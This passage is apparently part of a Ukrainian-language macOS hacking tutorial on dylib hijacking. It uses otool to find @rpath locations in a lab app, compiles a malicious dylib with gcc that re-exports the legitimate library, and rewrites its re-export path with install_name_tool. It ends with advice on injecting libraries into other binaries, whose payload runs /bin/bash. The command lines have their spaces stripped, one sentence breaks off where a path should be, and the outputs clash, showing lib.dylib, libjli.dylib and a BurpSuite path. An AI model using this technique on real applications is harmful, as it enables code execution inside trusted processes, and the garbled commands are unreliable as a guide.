# Check where are the @rpath locationsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grepLC_RPATH-A2cmdLC_RPATHcmdsize32path@loader_path/. (offset 12)--cmdLC_RPATHcmdsize32path@loader_path/../lib2 (offset 12)
# Check librareis loaded using @rapth and the used versionsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grep"@rpath"-A3name@rpath/lib.dylib (offset 24)time stamp 2 Thu Jan 1 01:00:02 1970currentversion1.0.0compatibilityversion1.0.0# Check the versions
З попередньої інформації ми знаємо, що не перевіряється підпис завантажених бібліотек і намагається завантажити бібліотеку з:
Отже, це можливо вкрасти! Створіть бібліотеку, яка виконує деякий довільний код і експортує ті ж функціональні можливості, що й легітимна бібліотека, повторно експортувавши її. І не забудьте скомпілювати її з очікуваними версіями:
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
Шлях повторного експорту, створений у бібліотеці, є відносним до завантажувача, давайте змінимо його на абсолютний шлях до бібліотеки для експорту:
#Check relativeotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize48name@rpath/libjli.dylib (offset 24)#Change the location of the library absolute to absolute pathinstall_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check againotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize128name/Applications/BurpSuiteProfessional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
Якщо ви плануєте спробувати інжектувати бібліотеки в несподівані двійкові файли, ви можете перевірити повідомлення подій, щоб дізнатися, коли бібліотека завантажується всередині процесу (в цьому випадку видаліть printf і виконання /bin/bash).